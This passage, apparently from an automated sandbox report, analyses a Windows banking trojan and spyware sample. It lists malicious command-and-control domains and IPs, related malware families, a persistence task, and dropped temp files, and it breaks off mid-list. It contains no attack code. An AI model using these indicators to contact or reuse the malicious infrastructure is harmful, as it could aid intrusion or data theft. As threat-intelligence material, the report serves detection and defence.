https://lodash.com/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://outlook.com	0%	URL Reputation	safe
http://underscorejs.org/LICENSE	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://lodash.com/license	0%	URL Reputation	safe
https://api.msn.com/	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
innovixus.org	198.54.117.242	true	true		unknown
quantumqube.org	194.87.189.87	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://quantumqube.org/index.php	true	unknown
https://quantumqube.org/index.php	true	unknown
http://innovixus.org/index.php	true	unknown
https://innovixus.org/index.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000002.00000000.1475801434.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	false	URL Reputation: safe	unknown
https://powerpoint.office.comer	explorer.exe, 00000002.00000000.1478526429.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	false	URL Reputation: safe	unknown
https://android.notify.windows.com/iOSA4	explorer.exe, 00000002.00000000.1478526429.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1475801434.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://excel.office.com	explorer.exe, 00000002.00000000.1478526429.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/personalfinance/the-big-3-mistakes-financial-advisors-say-that-the-1	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://schemas.micro	explorer.exe, 00000002.00000000.1474886102.0000000007710000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.1474899724.0000000007720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.1473187872.0000000002C80000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://quantumqube.org/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 00000007.00000002.2375965405.000000000330C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wns.windows.com/EM0	explorer.exe, 00000002.00000000.1478526429.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://github.com/jsstyles/css-vendor	explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	false		unknown
https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	false	URL Reputation: safe	unknown
https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zeal	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://quantumqube.org/ndex.php	explorer.exe, 00000007.00000002.2375965405.00000000032C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.microsoft.c	explorer.exe, 00000002.00000000.1475801434.0000000009237000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://android.notify.windows.com/iOSd	explorer.exe, 00000002.00000000.1478526429.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://openjsf.org/	explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	false	URL Reputation: safe	unknown
http://jedwatson.github.io/classnames	explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://quantumqube.org/index.php.	explorer.exe, 0000000D.00000003.3028814712.000000000526C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2721237512.000000000526C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.3328845519.0000000005270000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://quantumqube.org/	explorer.exe, 00000007.00000002.2375965405.0000000003298000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2375965405.0000000003304000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2375965405.000000000330C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2375965405.00000000032E2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	false		unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lodash.com/	explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	false	URL Reputation: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	false	URL Reputation: safe	unknown
http://ns.adobeS	explorer.exe, 00000002.00000000.1473694819.0000000004405000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://outlook.com	explorer.exe, 00000002.00000000.1478526429.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA-dark	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://underscorejs.org/LICENSE	explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	false	URL Reputation: safe	unknown
http://quantumqube.org/index.phpMozilla/5.0	explorer.exe, 00000007.00000002.2375965405.0000000003298000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.2347347955.0000000000A79000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.3927428692.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3928236257.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.3928453017.0000000003297000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3926853756.0000000000859000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.3928965249.00000000033D0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://quantumqube.org:80/index.phpcrosoft	explorer.exe, 00000007.00000002.2375965405.00000000032E2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=0E948A694F8C48079B908C8EA9DDF9EA&timeOut=5000&oc	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000002.00000000.1478526429.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://word.office.com48	explorer.exe, 00000002.00000000.1478526429.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 00000002.00000000.1478526429.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://lodash.com/license	explorer.exe, 0000000D.00000003.2628764554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2628291158.0000000005240000.00000004.00000020.00020000.00000000.sdmp, wallet-drawer.bundle.js.LICENSE.txt.13.dr	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/	explorer.exe, 00000002.00000000.1474139705.000000000702D000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/sports/other/washington-state-ad-asks-ncaa-for-compassion-and-understandin	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com:443/en-us/feed	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k-dark	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/accuweather-el-ni	explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://quantumqube.org/index.phpn	explorer.exe, 00000007.00000002.2375965405.0000000003298000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.87.189.87	quantumqube.org	Russian Federation		197695	AS-REGRU	true
198.54.117.242	innovixus.org	United States		22612	NAMECHEAP-NETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527171
Start date and time:	2024-10-06 21:25:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe
Detection:	MAL
Classification:	mal100.bank.troj.spyw.evad.winEXE@17/55@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 127 Number of non-executed functions: 81
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

Simulations

Behavior and APIs

Time	Type	Description
15:26:24	API Interceptor	256399x Sleep call for process: explorer.exe modified
21:26:31	Task Scheduler	Run new task: Firefox Default Browser Agent 7B7BC59515542800 path: C:\Users\user\AppData\Roaming\hfetwhc

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
198.54.117.242	Kommerzielle Bestellung.pdf (2).exe	Get hash	malicious	FormBook	Browse	www.golightresins.com/rn10/?DZZt=ochA0/+yD4T15LB3F5IXRtocyLTBiYmHj9IF8eWMKtE0E3XIuoy55xiykob9EQJmXVr3&vL08lV=dn3xFJ3xMHCx
	LSW51096D32024I.exe	Get hash	malicious	FormBook	Browse	www.tateshades.xyz/de94/?r49DK2LP=KxdOA0Mo1WZhrruLdWg4BGjiUazPRKkva+c6BVUkR9pg9lvbFJGOvuIlGoK6VQZT108t&CR-=Cr-TxJ
	TNS71092E68UI0.vbe	Get hash	malicious	FormBook	Browse	www.tateshades.xyz/de94/?iH=L48pdJnx&jBZ=KxdOA0Mo1WZhrruLdWg4BGjiUazPRKkva+c6BVUkR9pg9lvbFJGOvuIlGrqlewJrvTBn
	Navana Pharmaceuticals PLC.pdf.exe	Get hash	malicious	FormBook	Browse	www.usebanq.com/azio/
	hdBLUdo056.exe	Get hash	malicious	FormBook	Browse	www.usebanq.com/8lx9/
	fiY5fTkFKk.rtf	Get hash	malicious	FormBook	Browse	www.usebanq.com/8lx9/
	tEBdYCAxQC.rtf	Get hash	malicious	FormBook	Browse	www.usebanq.com/8lx9/
	PIG860624BF1GE1532.xml.exe	Get hash	malicious	FormBook	Browse	www.cbsnews23.store/q696/
	12nTpM7hB1.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.cbsnews23.store/q696/
	OSL332C-HBLx#U180es#U180el#U180ex#U180e..exe	Get hash	malicious	FormBook	Browse	www.cbsnews23.store/q696/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-REGRU	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	hH4dbIGfGT.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	Fvqw64NU4k.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	z4Shipping_document_pdf.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	update SOA.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, PrivateLoader, Socks5Systemz	Browse	194.58.114.223
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	194.58.114.223
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	37.140.192.213
	RTGS-WB-ABS-240730-NEW.lnk	Get hash	malicious	AgentTesla	Browse	176.99.3.36
	PO For Bulk Order.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
NAMECHEAP-NETUS	http://nirothniroth.site/?p=22&fbclid=IwY2xjawFs_DdleHRuA2FlbQIxMQABHTdgZU6ok722L5RxKPR-zh7Gkm6BqZ8BcT950y1bxf6l0LKz0zslg7KJHw_aem__ldVm1UUndXAkwYRakjBzg	Get hash	malicious	Unknown	Browse	63.250.43.7
	http://reportrix.co.uk/assets/assetfile/js/main.js	Get hash	malicious	Unknown	Browse	104.219.248.24
	presupuesto urgente.exe	Get hash	malicious	FormBook, GuLoader	Browse	199.192.19.19
	1.cmd	Get hash	malicious	Unknown	Browse	192.64.119.55
	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	162.213.249.216
	1.cmd	Get hash	malicious	Unknown	Browse	192.64.119.55
	1.cmd	Get hash	malicious	Quasar	Browse	192.64.119.55
	https://livelovelead.coach/wp-admin/readme.html	Get hash	malicious	Phisher	Browse	162.0.235.3
	hH4dbIGfGT.exe	Get hash	malicious	FormBook	Browse	162.0.236.169
	DHL_ 46773482.exe	Get hash	malicious	FormBook	Browse	162.0.238.246

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\Windows.ApplicationModel.Wallet.dll	SecuriteInfo.com.Trojan.GenericKD.70788680.21050.25766.exe	Get hash	malicious	SmokeLoader	Browse
	SecuriteInfo.com.BScope.TrojanPSW.RedLine.20889.11478.exe	Get hash	malicious	SmokeLoader	Browse
C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\WalletBackgroundServiceProxy.dll	SecuriteInfo.com.Trojan.GenericKD.70788680.21050.25766.exe	Get hash	malicious	SmokeLoader	Browse
	SecuriteInfo.com.BScope.TrojanPSW.RedLine.20889.11478.exe	Get hash	malicious	SmokeLoader	Browse
C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\WalletProxy.dll	SecuriteInfo.com.Trojan.GenericKD.70788680.21050.25766.exe	Get hash	malicious	SmokeLoader	Browse
	SecuriteInfo.com.BScope.TrojanPSW.RedLine.20889.11478.exe	Get hash	malicious	SmokeLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\BD1F.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BD1F.tmp-shm

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C08B.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C281.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C699.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8475592208333753
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOF30AvJ3qj/880C4pwE1:TeAFawNLopFgU10XJBORJ6px4p7
MD5:	BE99679A2B018331EACD3A1B680E3757
SHA1:	6E6732E173C91B0C3287AB4B161FE3676D33449A
SHA-256:	C382A020682EDEE086FBC56D11E70214964D39318774A19B184672E9FD0DD3E0
SHA-512:	9CFE1932522109D73602A342A15B7326A3E267B77FFF0FC6937B6DD35A054BF4C10ED79D34CA38D56330A5B325E08D8AFC786A8514C59ABB896864698B6DE099
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C794.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C96A.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
